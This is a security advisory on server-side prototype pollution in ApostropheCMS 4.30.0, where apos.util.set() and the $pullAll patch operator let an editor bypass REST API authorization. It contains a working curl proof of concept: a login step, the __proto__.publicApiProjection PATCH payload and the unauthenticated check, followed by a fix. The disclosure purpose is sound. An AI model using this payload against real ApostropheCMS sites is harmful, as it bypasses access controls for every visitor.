OSV 1.4.0 · github-reviewed · 修改于 2026-08-01 05:49
发布时间
2026-08-01 05:49
GitHub 审查时间
2026-08-01 05:49
NVD 发布时间
2026-06-13 06:16
源文件
advisories/github-reviewed/2026/07/GHSA-6h5j-32cf-4253/GHSA-6h5j-32cf-4253.json
apos.util.set() traverses dot-notation paths without sanitizing __proto__, allowing an authenticated editor to write arbitrary values to Object.prototype via the $pullAll patch operator.
A confirmed gadget in publicApiCheck() causes this to bypass authorization on all piece-type REST API endpoints for every subsequent unauthenticated request, for the lifetime of the Node.js process.
apos.util.set() (modules/@apostrophecms/util/index.js ~line 800)The function splits a dot-notation path and traverses properties without rejecting __proto__, constructor, or prototype:
set(o, path, v) {
path = path.split('.');
for (i = 0; i < path.length - 1; i++) {
o = o[path[i]]; // when path[i] === '__proto__', o becomes Object.prototype
}
o[path[i]] = v; // mutates Object.prototype
}
implementPatchOperators() (modules/@apostrophecms/schema/index.js ~line 1737)User-controlled keys from the $pullAll operator are passed directly to apos.util.set():
_.each(patch.$pullAll, function(val, key) {
cloneOriginalBase(key); // uses _.has (hasOwnProperty)
self.apos.util.set(patch, key, ...); // key is fully attacker-controlled
});
cloneOriginalBase() does not sanitize __proto__ because _.has() performs an own-property check. Since __proto__ is inherited rather than an own property, the clone step is skipped and execution falls through to apos.util.set().
The same unsanitized call also appears for direct dot-notation keys in the PATCH body (~line 1811), providing a second independent entry point.
publicApiCheck() (modules/@apostrophecms/piece-type/index.js ~line 1148)publicApiCheck(req) {
if (!self.options.publicApiProjection) {
if (!self.canAccessApi(req)) {
throw self.apos.error('notfound');
}
}
}
Once Object.prototype.publicApiProjection is set to any truthy value (for example []), every module instance inherits it.
Because JavaScript property lookup resolves inherited properties from Object.prototype, the condition:
!self.options.publicApiProjection
evaluates to false for all modules.
As a result, the authorization check is skipped for every subsequent request handled by the process.
Environment: ApostropheCMS v4.30.0, Node.js, MongoDB
Prerequisites: Editor-level credentials
curl -s http://localhost:3000/api/v1/@apostrophecms/user
Response:
{"name":"notfound","data":{},"message":"notfound"}
TOKEN=$(curl -s -X POST http://localhost:3000/api/v1/@apostrophecms/login/login \
-H "Content-Type: application/json" \
-d '{"username":"editor","password":"..."}' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
Object.prototype via $pullAllcurl -X PATCH "http://localhost:3000/api/v1/@apostrophecms/global/{docId}:en:draft" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-H "Cookie: apos-testapp.csrf=csrf" \
-H "X-XSRF-TOKEN: csrf" \
-d '{"$pullAll":{"__proto__.publicApiProjection":[]}}'
Response:
HTTP/1.1 200 OK
curl -s http://localhost:3000/api/v1/@apostrophecms/user
Response:
{"pages":0,"currentPage":1,"results":[]}
The endpoint now returns a valid paginated response instead of notfound.
No credentials are supplied.
Execution passes publicApiCheck() and reaches query processing. The empty result set reflects document-level visibility filtering; the authorization gate itself has been bypassed.
The pollution persists until the Node.js process is restarted.
Server-Side Prototype Pollution leading to Authorization Bypass (CWE-1321)
Any ApostropheCMS installation where at least one editor-level account exists.
This is the default configuration for multi-user CMS deployments.
A single PATCH request from an editor permanently modifies authorization behavior for the entire Node.js process.
All subsequent unauthenticated requests to piece-type REST API endpoints bypass publicApiCheck().
Verified affected endpoints include:
@apostrophecms/user@apostrophecms/globalBased on the shared authorization implementation, other piece-type REST endpoints appear similarly affected.
The bypass affects every unauthenticated visitor until the server is restarted.
Reject dangerous prototype-related path segments before traversal:
if (
p === '__proto__' ||
p === 'constructor' ||
p === 'prototype'
) {
return;
}
Apply the same validation both:
apos.util.set()apos.util.set() from implementPatchOperators()